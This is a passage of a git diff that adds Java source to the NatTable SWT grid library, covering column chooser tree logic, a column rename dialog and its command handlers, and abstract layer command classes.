treeItem; + int columnEntryIndex = columnEntry.getIndex().intValue(); + + // Create a node for the column group - if needed + if (columnGroupModel != null && columnGroupModel.isPartOfAGroup(columnEntryIndex)) { + String columnGroupName = columnGroupModel.getColumnGroupNameForIndex(columnEntryIndex); + TreeItem columnGroupTreeItem = getTreeItem(tree, columnGroupName); + + if (columnGroupTreeItem == null) { + columnGroupTreeItem = new TreeItem(tree, SWT.NONE); + ColumnGroupEntry columnGroupEntry = new ColumnGroupEntry( + columnGroupName, + columnEntry.getPosition(), + columnEntry.getIndex(), + columnGroupModel.isCollapsed(columnEntryIndex)); + columnGroupTreeItem.setData(columnGroupEntry); + columnGroupTreeItem.setText(columnGroupEntry.getLabel()); + } + treeItem = new TreeItem(columnGroupTreeItem, SWT.NONE); + } else { + treeItem = new TreeItem(tree, SWT.NONE); + } + treeItem.setText(columnEntry.getLabel()); + treeItem.setData(columnEntry); + } + } + + /** + * If the tree contains an item with the given label return it + */ + private TreeItem getTreeItem(Tree tree, String label) { + for (TreeItem treeItem : tree.getItems()) { + if (treeItem.getText().equals(label)) { + return treeItem; + } + } + return null; + } + + /** + * Get the ColumnEntries from the selected TreeItem(s) + * Includes nested column group entries - if the column group is selected. + * Does not include parent of the nested entries - since that does not denote an actual column + */ + private List getColumnEntriesIncludingNested(TreeItem[] selectedTreeItems) { + List selectedColumnEntries = new ArrayList(); + + for (int i = 0; i < selectedTreeItems.length; i++) { + // Column Group selected - get all children + if (isColumnGroupLeaf(selectedTreeItems[i])) { + TreeItem[] itemsInGroup = selectedTreeItems[i].getItems(); + for (TreeItem itemInGroup : itemsInGroup) { + selectedColumnEntries.add((ColumnEntry) itemInGroup.getData()); + } + } else { + // Column + selectedColumnEntries.add(getColumnEntryInLeaf(selectedTreeItems[i])); + } + } + return selectedColumnEntries; + } + + private List getSelectedColumnGroupEntries(TreeItem[] selectedTreeItems) { + List selectedColumnGroups = new ArrayList(); + + for (int i = 0; i < selectedTreeItems.length; i++) { + if (isColumnGroupLeaf(selectedTreeItems[i])) { + selectedColumnGroups.add((ColumnGroupEntry) selectedTreeItems[i].getData()); + } + } + return selectedColumnGroups; + } + + private List getSelectedColumnEntriesIncludingNested(Tree tree){ + return getColumnEntriesIncludingNested(tree.getSelection()); + } + + private List getSelectedColumnGroupEntries(Tree tree){ + return getSelectedColumnGroupEntries(tree.getSelection()); + } + + // Event handlers + + /** + * Add selected items: 'Available tree' --> 'Selected tree' Notify + * listeners. + */ + private void addSelected() { + if (isAnyLeafSelected(availableTree)) { + fireItemsSelected(getSelectedColumnEntriesIncludingNested(availableTree)); + } + } + + /** + * Add selected items: 'Available tree' <-- 'Selected tree' Notify + * listeners. + */ + private void removeSelected() { + if (isAnyLeafSelected(selectedTree)) { + fireItemsRemoved(getSelectedColumnEntriesIncludingNested(selectedTree)); + } + } + + private void selectedTreeCollapsed(TreeEvent event) { + TreeItem item = (TreeItem) event.item; + ColumnGroupEntry columnGroupEntry = (ColumnGroupEntry) item.getData(); + fireGroupCollapsed(columnGroupEntry); + } + + private void selectedTreeExpanded(TreeEvent event) { + TreeItem item = (TreeItem) event.item; + ColumnGroupEntry columnGroupEntry = (ColumnGroupEntry) item.getData(); + fireGroupExpanded(columnGroupEntry); + } + + private void toggleColumnGroupSelection(TreeItem treeItem) { + if(isColumnGroupLeaf(treeItem)){ + Collection selectedLeaves = ArrayUtil.asCollection(selectedTree.getSelection()); + boolean selected = selectedLeaves.contains(treeItem); + if(selected){ + selectAllChildren(selectedTree, treeItem); + } else { + unSelectAllChildren(selectedTree, treeItem); + } + } + } + + private void selectAllChildren(Tree tree, TreeItem treeItem) { + Collection selectedLeaves = ArrayUtil.asCollection(tree.getSelection()); + if(isColumnGroupLeaf(treeItem)){ + selectedLeaves.addAll(ArrayUtil.asCollection(treeItem.getItems())); + } + tree.setSelection(selectedLeaves.toArray(new TreeItem[]{})); + tree.showSelection(); + } + + private void unSelectAllChildren(Tree tree, TreeItem treeItem) { + Collection selectedLeaves = ArrayUtil.asCollection(tree.getSelection()); + if(isColumnGroupLeaf(treeItem)){ + selectedLeaves.removeAll(ArrayUtil.asCollection(treeItem.getItems())); + } + tree.setSelection(selectedLeaves.toArray(new TreeItem[]{})); + tree.showSelection(); + } + + /** + * Move columns up in the 'Selected' Tree (Right) + */ + @SuppressWarnings("boxing") + protected void moveSelectedUp() { + if (isAnyLeafSelected(selectedTree)) { + if(!isFirstLeafSelected(selectedTree)){ + List selectedColumnEntries = getSelectedColumnEntriesIncludingNested(selectedTree); + List selectedColumnGroupEntries = getSelectedColumnGroupEntries(selectedTree); + + List allSelectedPositions = merge(selectedColumnEntries, selectedColumnGroupEntries); + + // Group continuous positions. If a column group moves, a bunch of 'from' positions move + // to a single 'to' position + List> postionsGroupedByContiguous = PositionUtil.getGroupedByContiguous(allSelectedPositions); + List toPositions = new ArrayList(); + + //Set destination positions + for (List groupedPositions : postionsGroupedByContiguous) { + // Do these contiguous positions contain a column group ? + boolean columnGroupMoved = columnGroupMoved(groupedPositions, selectedColumnGroupEntries); + + // If already at first position do not move + int firstPositionInGroup = groupedPositions.get(0); + if (firstPositionInGroup == 0){ + return; + } + + // Column entry + ColumnEntry columnEntry = getColumnEntryForPosition(selectedTree, firstPositionInGroup); + int columnEntryIndex = columnEntry.getIndex(); + + // Previous column entry + ColumnEntry previousColumnEntry = getColumnEntryForPosition(selectedTree, firstPositionInGroup - 1); + int previousColumnEntryIndex = previousColumnEntry.getIndex(); + + if (columnGroupMoved) { + // If the previous entry is a column group - move above it. + if (columnGroupModel != null && columnGroupModel.isPartOfAGroup(previousColumnEntryIndex)) { + toPositions.add(firstPositionInGroup - columnGroupModel.getColumnIndexesInGroup(previousColumnEntryIndex).size()); + } else { + toPositions.add(firstPositionInGroup - 1); + } + } else { + // If is first member of the unbreakable group, can't move up i.e. out of the group + if (columnGroupModel != null && columnGroupModel.isPartOfAnUnbreakableGroup(columnEntryIndex) && !ColumnGroupUtils.isInTheSameGroup(columnEntryIndex, previousColumnEntryIndex, columnGroupModel)){ + return; + } + + // If previous entry is an unbreakable column group - move above it + if (columnGroupModel != null && columnGroupModel.isPartOfAnUnbreakableGroup(previousColumnEntryIndex) && !ColumnGroupUtils.isInTheSameGroup(columnEntryIndex, previousColumnEntryIndex, columnGroupModel)) { + toPositions.add(firstPositionInGroup - columnGroupModel.getColumnIndexesInGroup(previousColumnEntryIndex).size()); + } else { + toPositions.add(firstPositionInGroup - 1); + } + } + } + + fireItemsMoved(MoveDirectionEnum.UP, selectedColumnGroupEntries, selectedColumnEntries, postionsGroupedByContiguous, toPositions); + } + } + } + + private List merge(List selectedColumnEntries, List selectedColumnGroupEntries){ + //Convert to positions + List columnEntryPositions = ColumnChooserUtils.getColumnEntryPositions(selectedColumnEntries); + List columnGroupEntryPositions = ColumnGroupEntry.getColumnGroupEntryPositions(selectedColumnGroupEntries); + + //Selected columns + column groups + Set allSelectedPositionsSet = new HashSet(); + allSelectedPositionsSet.addAll(columnEntryPositions); + allSelectedPositionsSet.addAll(columnGroupEntryPositions); + List allSelectedPositions = new ArrayList(allSelectedPositionsSet); + Collections.sort(allSelectedPositions); + + return allSelectedPositions; + } + + /** + * Move columns down in the 'Selected' Tree (Right) + */ + @SuppressWarnings("boxing") + protected void moveSelectedDown() { + if (isAnyLeafSelected(selectedTree)) { + if (!isLastLeafSelected(selectedTree)) { + List selectedColumnEntries = getSelectedColumnEntriesIncludingNested(selectedTree); + List selectedColumnGroupEntries = getSelectedColumnGroupEntries(selectedTree); + + List allSelectedPositions = merge(selectedColumnEntries, selectedColumnGroupEntries); + + // Group continuous positions + List> postionsGroupedByContiguous = PositionUtil.getGroupedByContiguous(allSelectedPositions); + List toPositions = new ArrayList(); + + // Set destination positions + for (List groupedPositions : postionsGroupedByContiguous) { + // Do these contiguous positions contain a column group ? + boolean columnGroupMoved = columnGroupMoved(groupedPositions, selectedColumnGroupEntries); + + // Position of last element in list + int lastListIndex = groupedPositions.size() - 1; + int lastPositionInGroup = groupedPositions.get(lastListIndex); + + // Column entry + ColumnEntry columnEntry = getColumnEntryForPosition(selectedTree, lastPositionInGroup); + int columnEntryIndex = columnEntry.getIndex(); + + // Next Column Entry + ColumnEntry nextColumnEntry = getColumnEntryForPosition(selectedTree, lastPositionInGroup + 1); + + // Next column entry will be null the last leaf in the tree is selected + if (nextColumnEntry == null) { + return; + } + int nextColumnEntryIndex = nextColumnEntry.getIndex(); + + if (columnGroupMoved) { + // If the next entry is a column group - move past it. + if (columnGroupModel != null && columnGroupModel.isPartOfAGroup(nextColumnEntryIndex)) { + toPositions.add(lastPositionInGroup + columnGroupModel.getColumnIndexesInGroup(nextColumnEntryIndex).size()); + } else { + toPositions.add(lastPositionInGroup + 1); + } + } else { + // If is last member of the unbreakable group, can't move down i.e. out of the group + if (columnGroupModel != null && columnGroupModel.isPartOfAnUnbreakableGroup(columnEntryIndex) && !ColumnGroupUtils.isInTheSameGroup(columnEntryIndex, nextColumnEntryIndex, columnGroupModel)) { + return; + } + + // If next entry is an unbreakable column group - move past it + if (columnGroupModel != null && columnGroupModel.isPartOfAnUnbreakableGroup(nextColumnEntryIndex) && !ColumnGroupUtils.isInTheSameGroup(columnEntryIndex, nextColumnEntryIndex, columnGroupModel)) { + toPositions.add(lastPositionInGroup + columnGroupModel.getColumnIndexesInGroup(nextColumnEntryIndex).size()); + } else { + toPositions.add(lastPositionInGroup + 1); + } + } + } + fireItemsMoved(MoveDirectionEnum.DOWN, selectedColumnGroupEntries, selectedColumnEntries, postionsGroupedByContiguous, toPositions); + } + } + } + + private boolean columnGroupMoved(List fromPositions, List movedColumnGroupEntries) { + for (ColumnGroupEntry columnGroupEntry : movedColumnGroupEntries) { + if(fromPositions.contains(columnGroupEntry.getFirstElementPosition())) return true; + } + return false; + } + + /** + * Get the ColumnEntry in the tree with the given position + */ + private ColumnEntry getColumnEntryForPosition(Tree tree, int columnEntryPosition) { + List allColumnEntries = getColumnEntriesIncludingNested(selectedTree.getItems()); + + for (ColumnEntry columnEntry : allColumnEntries) { + if(columnEntry.getPosition().intValue() == columnEntryPosition){ + return columnEntry; + } + } + return null; + } + + // Leaf related methods + + /** + * Get Leaf index of the selected leaves in the tree + */ + protected List getIndexesOfSelectedLeaves(Tree tree) { + List allSelectedLeaves = ArrayUtil.asList(tree.getSelection()); + List allSelectedIndexes = new ArrayList(); + + for (TreeItem selectedLeaf : allSelectedLeaves) { + allSelectedIndexes.add(Integer.valueOf(tree.indexOf(selectedLeaf))); + } + + return allSelectedIndexes; + } + + public void expandAllLeaves() { + List allLeaves = ArrayUtil.asList(selectedTree.getItems()); + + for (TreeItem leaf : allLeaves) { + if(isColumnGroupLeaf(leaf)){ + ColumnGroupEntry columnGroupEntry = (ColumnGroupEntry) leaf.getData(); + leaf.setExpanded(! columnGroupEntry.isCollapsed()); + } + } + } + + private boolean isColumnGroupLeaf(TreeItem treeItem) { + if(ObjectUtils.isNotNull(treeItem)){ + return treeItem.getData() instanceof ColumnGroupEntry; + } else { + return false; + } + } + + private boolean isLastLeafSelected(Tree tree) { + TreeItem[] selectedLeaves = tree.getSelection(); + for (int i = 0; i < selectedLeaves.length; i++) { + if (tree.indexOf(selectedLeaves[i])+1 == tree.getItemCount()) { + return true; + } + } + return false; + } + + private boolean isFirstLeafSelected(Tree tree) { + TreeItem[] selectedLeaves = tree.getSelection(); + for (int i = 0; i < selectedLeaves.length; i++) { + if (selectedTree.indexOf(selectedLeaves[i]) == 0) { + return true; + } + } + return false; + } + + private boolean isAnyLeafSelected(Tree tree) { + TreeItem[] selectedLeaves = tree.getSelection(); + return selectedLeaves != null && selectedLeaves.length > 0; + } + + + private ColumnEntry getColumnEntryInLeaf(TreeItem leaf) { + if (!isColumnGroupLeaf(leaf)) { + return (ColumnEntry) leaf.getData(); + } else { + return null; + } + } + + public void removeAllLeaves() { + selectedTree.removeAll(); + availableTree.removeAll(); + } + + // Leaf Selection + + public void setSelectionIncludingNested(List indexes) { + setSelectionIncludingNested(selectedTree, indexes); + } + + /** + * Marks the leaves in the tree as selected + * @param tree containing the leaves + * @param indexes index of the leaf in the tree + */ + protected void setSelection(Tree tree, List indexes) { + List selectedLeaves = new ArrayList(); + + for (Integer leafIndex : indexes) { + selectedLeaves.add(tree.getItem(leafIndex.intValue())); + } + tree.setSelection(selectedLeaves.toArray(new TreeItem[] {})); + tree.showSelection(); + } + + /** + * Mark the leaves with matching column entries as selected. + * Also checks all the children of the column group leaves + * @param columnEntryIndexes index of the ColumnEntry in the leaf + */ + private void setSelectionIncludingNested(Tree tree, List columnEntryIndexes) { + Collection allLeaves = ArrayUtil.asCollection(tree.getItems()); + List selectedLeaves = new ArrayList(); + + for (TreeItem leaf : allLeaves) { + if (!isColumnGroupLeaf(leaf)) { + int index = getColumnEntryInLeaf(leaf).getIndex().intValue(); + if (columnEntryIndexes.contains(Integer.valueOf(index))) { + selectedLeaves.add(leaf); + } + } else { + //Check all children in column groups + Collection columnGroupLeaves = ArrayUtil.asCollection(leaf.getItems()); + for (TreeItem columnGroupLeaf : columnGroupLeaves) { + int index = getColumnEntryInLeaf(columnGroupLeaf).getIndex().intValue(); + if (columnEntryIndexes.contains(Integer.valueOf(index))) { + selectedLeaves.add(columnGroupLeaf); + } + } + } + } + tree.setSelection(selectedLeaves.toArray(new TreeItem[] {})); + setGroupsSelectionIfRequired(tree, columnEntryIndexes); + tree.showSelection(); + } + + /** + * If all the leaves in a group are selected the group is also selected + */ + private void setGroupsSelectionIfRequired(Tree tree, List columnEntryIndexes){ + Collection allLeaves = ArrayUtil.asCollection(tree.getItems()); + Collection selectedLeaves = ArrayUtil.asCollection(tree.getSelection()); + + for (TreeItem leaf : allLeaves) { + if(isColumnGroupLeaf(leaf)){ + boolean markSelected = true; + Collection nestedLeaves = ArrayUtil.asCollection(leaf.getItems()); + + for (TreeItem nestedLeaf : nestedLeaves) { + ColumnEntry columnEntry = getColumnEntryInLeaf(nestedLeaf); + if(!columnEntryIndexes.contains(columnEntry.getIndex())){ + markSelected = false; + } + } + if(markSelected){ + selectedLeaves.add(leaf); + } + } + } + tree.setSelection(selectedLeaves.toArray(new TreeItem[] {})); + } + + protected Tree getSelectedTree() { + return selectedTree; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/ColumnLabelPanel.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/ColumnLabelPanel.java new file mode 100644 index 0000000..ccaa764 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/ColumnLabelPanel.java @@ -0,0 +1,71 @@ +package net.sourceforge.nattable.columnRename; + +import net.sourceforge.nattable.style.editor.AbstractEditorPanel; + +import org.apache.commons.lang.StringUtils; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; + +public class ColumnLabelPanel extends AbstractEditorPanel { + private Text textField; + + private final String columnLabel; + private final String newColumnLabel; + + public ColumnLabelPanel(Composite parent, String columnLabel, String newColumnLabel) { + super(parent, SWT.NONE); + this.columnLabel = columnLabel; + this.newColumnLabel = newColumnLabel; + init(); + } + + private void init() { + GridLayout gridLayout = new GridLayout(2, false); + setLayout(gridLayout); + + // Original label + Label label = new Label(this, SWT.NONE); + label.setText("Original"); + + Label originalLabel = new Label(this, SWT.NONE); + originalLabel.setText(columnLabel); + + // Text field for new label + Label renameLabel = new Label(this, SWT.NONE); + renameLabel.setText("Rename"); + + textField = new Text(this, SWT.BORDER); + GridData gridData = new GridData(200, 15); + gridData.grabExcessHorizontalSpace = true; + gridData.horizontalAlignment = GridData.FILL; + textField.setLayoutData(gridData); + + if (StringUtils.isNotEmpty(newColumnLabel)) { + textField.setText(newColumnLabel); + } + } + + @Override + public void edit(String newColumnHeaderLabel) throws Exception { + if (StringUtils.isNotEmpty(newColumnHeaderLabel)) { + textField.setText(newColumnHeaderLabel); + } + } + + @Override + public String getEditorName() { + return "Column label"; + } + + @Override + public String getNewValue() { + if (textField.isEnabled() && StringUtils.isNotEmpty(textField.getText())) { + return textField.getText(); + } + return null; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/ColumnRenameDialog.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/ColumnRenameDialog.java new file mode 100644 index 0000000..b3f331f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/ColumnRenameDialog.java @@ -0,0 +1,70 @@ +package net.sourceforge.nattable.columnRename; + +import net.sourceforge.nattable.style.editor.AbstractStyleEditorDialog; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ShellAdapter; +import org.eclipse.swt.events.ShellEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Shell; + +public class ColumnRenameDialog extends AbstractStyleEditorDialog { + private ColumnLabelPanel columnLabelPanel; + private final String columnLabel; + private String renamedColumnLabel; + + public ColumnRenameDialog(Shell parent, String columnLabel, String renamedColumnLabel) { + super(parent); + this.columnLabel = columnLabel; + this.renamedColumnLabel = renamedColumnLabel; + } + + @Override + protected void initComponents(final Shell shell) { + GridLayout shellLayout = new GridLayout(); + shell.setLayout(shellLayout); + shell.setText("Rename column"); + + // Closing the window is the same as canceling the form + shell.addShellListener(new ShellAdapter() { + @Override + public void shellClosed(ShellEvent e) { + doFormCancel(shell); + } + }); + + // Tabs panel + Composite panel = new Composite(shell, SWT.NONE); + panel.setLayout(new GridLayout()); + + GridData fillGridData = new GridData(); + fillGridData.grabExcessHorizontalSpace = true; + fillGridData.horizontalAlignment = GridData.FILL; + panel.setLayoutData(fillGridData); + + columnLabelPanel = new ColumnLabelPanel(panel, columnLabel, renamedColumnLabel); + try { + columnLabelPanel.edit(renamedColumnLabel); + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + @Override + protected void doFormOK(Shell shell) { + renamedColumnLabel = columnLabelPanel.getNewValue(); + shell.dispose(); + } + + @Override + protected void doFormClear(Shell shell) { + renamedColumnLabel = null; + shell.dispose(); + } + + public String getNewColumnLabel() { + return renamedColumnLabel; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/DisplayColumnRenameDialogCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/DisplayColumnRenameDialogCommand.java new file mode 100644 index 0000000..6471c3a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/DisplayColumnRenameDialogCommand.java @@ -0,0 +1,23 @@ +package net.sourceforge.nattable.columnRename; + +import net.sourceforge.nattable.command.AbstractColumnCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.layer.ILayer; + +/** + * Fire this command to pop-up the rename column dialog. + */ +public class DisplayColumnRenameDialogCommand extends AbstractColumnCommand { + + /** + * @param columnPosition of the column to be renamed + */ + public DisplayColumnRenameDialogCommand(ILayer layer, int columnPosition) { + super(layer, columnPosition); + } + + public ILayerCommand cloneCommand() { + return new DisplayColumnRenameDialogCommand(getLayer(), getColumnPosition()); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/DisplayColumnRenameDialogCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/DisplayColumnRenameDialogCommandHandler.java new file mode 100644 index 0000000..7adfe6a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/DisplayColumnRenameDialogCommandHandler.java @@ -0,0 +1,37 @@ +package net.sourceforge.nattable.columnRename; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.grid.layer.ColumnHeaderLayer; + +import org.eclipse.swt.widgets.Shell; + +public class DisplayColumnRenameDialogCommandHandler extends + AbstractLayerCommandHandler { + + private final ColumnHeaderLayer columnHeaderLayer; + + public DisplayColumnRenameDialogCommandHandler(ColumnHeaderLayer columnHeaderLayer) { + this.columnHeaderLayer = columnHeaderLayer; + } + + @Override + protected boolean doCommand(DisplayColumnRenameDialogCommand command) { + int columnPosition = command.getColumnPosition(); + String originalLabel = columnHeaderLayer.getOriginalColumnLabel(columnPosition); + String renamedLabel = columnHeaderLayer.getRenamedColumnLabel(columnPosition); + + ColumnRenameDialog dialog = new ColumnRenameDialog(new Shell(), originalLabel, renamedLabel); + dialog.open(); + + if (dialog.isCancelPressed()) { + return true; + } + + return columnHeaderLayer.renameColumnPosition(columnPosition, dialog.getNewColumnLabel()); + } + + public Class getCommandClass() { + return DisplayColumnRenameDialogCommand.class; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/RenameColumnHeaderCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/RenameColumnHeaderCommand.java new file mode 100644 index 0000000..9108dfe --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/RenameColumnHeaderCommand.java @@ -0,0 +1,29 @@ +package net.sourceforge.nattable.columnRename; + +import net.sourceforge.nattable.command.AbstractColumnCommand; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.layer.ILayer; + +/** + * Command fired to rename a column header + * + * @see RenameColumnHeaderCommandHandler + */ +public class RenameColumnHeaderCommand extends AbstractColumnCommand { + + private final String customColumnName; + + public RenameColumnHeaderCommand(ILayer layer, int columnPosition, String customColumnName) { + super(layer, columnPosition); + this.customColumnName = customColumnName; + } + + public ILayerCommand cloneCommand() { + return new RenameColumnHeaderCommand(getLayer(), getColumnPosition(), customColumnName); + } + + public String getCustomColumnName() { + return customColumnName; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/RenameColumnHeaderCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/RenameColumnHeaderCommandHandler.java new file mode 100644 index 0000000..d5fbce1 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/RenameColumnHeaderCommandHandler.java @@ -0,0 +1,28 @@ +package net.sourceforge.nattable.columnRename; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.grid.layer.ColumnHeaderLayer; + +/** + * Handles renaming of columns.
    + * Registered with the {@link ColumnHeaderLayer}. + */ +public class RenameColumnHeaderCommandHandler + extends AbstractLayerCommandHandler { + + ColumnHeaderLayer columnHeaderLayer; + + public RenameColumnHeaderCommandHandler(ColumnHeaderLayer columnHeaderLayer) { + this.columnHeaderLayer = columnHeaderLayer; + } + + @Override + protected boolean doCommand(RenameColumnHeaderCommand command) { + return columnHeaderLayer.renameColumnPosition(command.getColumnPosition(), command.getCustomColumnName()); + } + + public Class getCommandClass() { + return RenameColumnHeaderCommand.class; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/RenameColumnHelper.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/RenameColumnHelper.java new file mode 100644 index 0000000..dde7abf --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnRename/RenameColumnHelper.java @@ -0,0 +1,82 @@ +package net.sourceforge.nattable.columnRename; + +import static org.apache.commons.lang.StringUtils.isEmpty; + +import java.util.Map; +import java.util.Properties; +import java.util.TreeMap; + +import net.sourceforge.nattable.grid.layer.ColumnHeaderLayer; +import net.sourceforge.nattable.persistence.IPersistable; +import net.sourceforge.nattable.util.PersistenceUtils; + +public class RenameColumnHelper implements IPersistable { + + public static final String PERSISTENCE_KEY_RENAMED_COLUMN_HEADERS = ".renamedColumnHeaders"; + + private final ColumnHeaderLayer columnHeaderLayer; + + /** Tracks the renamed labels provided by the users */ + private Map renamedColumnsLabelsByIndex = new TreeMap(); + + public RenameColumnHelper(ColumnHeaderLayer columnHeaderLayer) { + this.columnHeaderLayer = columnHeaderLayer; + } + + /** + * Rename the column at the given position.
    + * Note: This does not change the underlying column name. + * + * @return + */ + public boolean renameColumnPosition(int columnPosition, String customColumnName) { + int index = columnHeaderLayer.getColumnIndexByPosition(columnPosition); + if (index >= 0) { + if (customColumnName == null) { + renamedColumnsLabelsByIndex.remove(index); + } else { + renamedColumnsLabelsByIndex.put(index, customColumnName); + } + return true; + } + return false; + } + + /** + * @return the custom label for this column as specified by the user + * Null if the columns is not renamed + */ + public String getRenamedColumnLabel(int columnIndex) { + return renamedColumnsLabelsByIndex.get(columnIndex); + } + + /** + * @return TRUE if the column has been renamed + */ + public boolean isColumnRenamed(int columnIndex) { + return renamedColumnsLabelsByIndex.get(columnIndex) != null; + } + + public boolean isAnyColumnRenamed() { + return renamedColumnsLabelsByIndex.size() > 0; + } + + public void loadState(String prefix, Properties properties) { + Object property = properties.get(prefix + PERSISTENCE_KEY_RENAMED_COLUMN_HEADERS); + + try { + renamedColumnsLabelsByIndex = PersistenceUtils.parseString(property); + } catch (Exception e) { + System.err.println("Error while restoring renamed column headers: " + e.getMessage()); + System.err.println("Skipping restore."); + renamedColumnsLabelsByIndex.clear(); + } + } + + public void saveState(String prefix, Properties properties) { + String string = PersistenceUtils.mapAsString(renamedColumnsLabelsByIndex); + if (!isEmpty(string)) { + properties.put(prefix + PERSISTENCE_KEY_RENAMED_COLUMN_HEADERS, string); + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractColumnCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractColumnCommand.java new file mode 100644 index 0000000..e92c991 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractColumnCommand.java @@ -0,0 +1,36 @@ +package net.sourceforge.nattable.command; + +import net.sourceforge.nattable.coordinate.ColumnPositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public abstract class AbstractColumnCommand implements ILayerCommand { + + private ColumnPositionCoordinate columnPositionCoordinate; + + protected AbstractColumnCommand(ILayer layer, int columnPosition) { + columnPositionCoordinate = new ColumnPositionCoordinate(layer, columnPosition); + } + + protected AbstractColumnCommand(AbstractColumnCommand command) { + this.columnPositionCoordinate = command.columnPositionCoordinate; + } + + public boolean convertToTargetLayer(ILayer targetLayer) { + columnPositionCoordinate = LayerCommandUtil.convertColumnPositionToTargetContext(columnPositionCoordinate, targetLayer); + return columnPositionCoordinate != null; + } + + public ILayer getLayer() { + return columnPositionCoordinate.getLayer(); + } + + public int getColumnPosition() { + return columnPositionCoordinate.getColumnPosition(); + } + + @Override + public String toString() { + return this.getClass().getSimpleName() + " columnPosition=" + columnPositionCoordinate.getColumnPosition(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractContextFreeCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractContextFreeCommand.java new file mode 100644 index 0000000..7053511 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractContextFreeCommand.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.command; + +import net.sourceforge.nattable.layer.ILayer; + +public abstract class AbstractContextFreeCommand implements ILayerCommand { + + public boolean convertToTargetLayer(ILayer targetLayer) { + return true; + } + + public AbstractContextFreeCommand cloneCommand() { + return this; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractLayerCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractLayerCommandHandler.java new file mode 100644 index 0000000..e7dfb86 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractLayerCommandHandler.java @@ -0,0 +1,16 @@ +package net.sourceforge.nattable.command; + +import net.sourceforge.nattable.layer.ILayer; + +public abstract class AbstractLayerCommandHandler implements ILayerCommandHandler { + + public final boolean doCommand(ILayer targetLayer, T command) { + if (command.convertToTargetLayer(targetLayer)) { + return doCommand(command); + } + return false; + } + + protected abstract boolean doCommand(T command); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractMultiColumnCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractMultiColumnCommand.java new file mode 100644 index 0000000..481429a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/command/AbstractMultiColumnCommand.java @@ -0,0 +1,51 @@ +package net.sourceforge.nattable.command; + +import java.util.Collection; +import java.util.HashSet; + +import net.sourceforge.nattable.coordinate.ColumnPositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public abstract class AbstractMultiColumnCommand implements ILayerCommand { + + protected Collection columnPositionCoordinates; + + protected AbstractMultiColumnCommand(ILayer layer, int...columnPositions) { + setColumnPositions(layer, columnPositions); + } + + protected AbstractMultiColumnCommand(AbstractMultiColumnCommand command) { + this.columnPositionCoordinates = new HashSet(command.columnPositionCoordinates); + } + + public Collection getColumnPositions() { + Collection columnPositions = new HashSet(); + for (ColumnPositionCoordinate columnPositionCoordinate : columnPositionCoordinates) { + columnPositions.add(Integer.valueOf(columnPositionCoordinate.columnPosition)); + } + return columnPositions; + } + + protected final void setColumnPositions(ILayer layer, int...columnPositions) { + columnPositionCoordinates = new HashSet(); + for (int columnPosition : columnPositions) { + columnPositionCoordinates.add(new ColumnPositionCoordinate(layer, columnPosition)); + } + } + + public boolean convertToTargetLayer(ILayer targetLayer) { + Collection convertedColumnPositionCoordinates = new HashSet(); + + for (ColumnPositionCoordinate 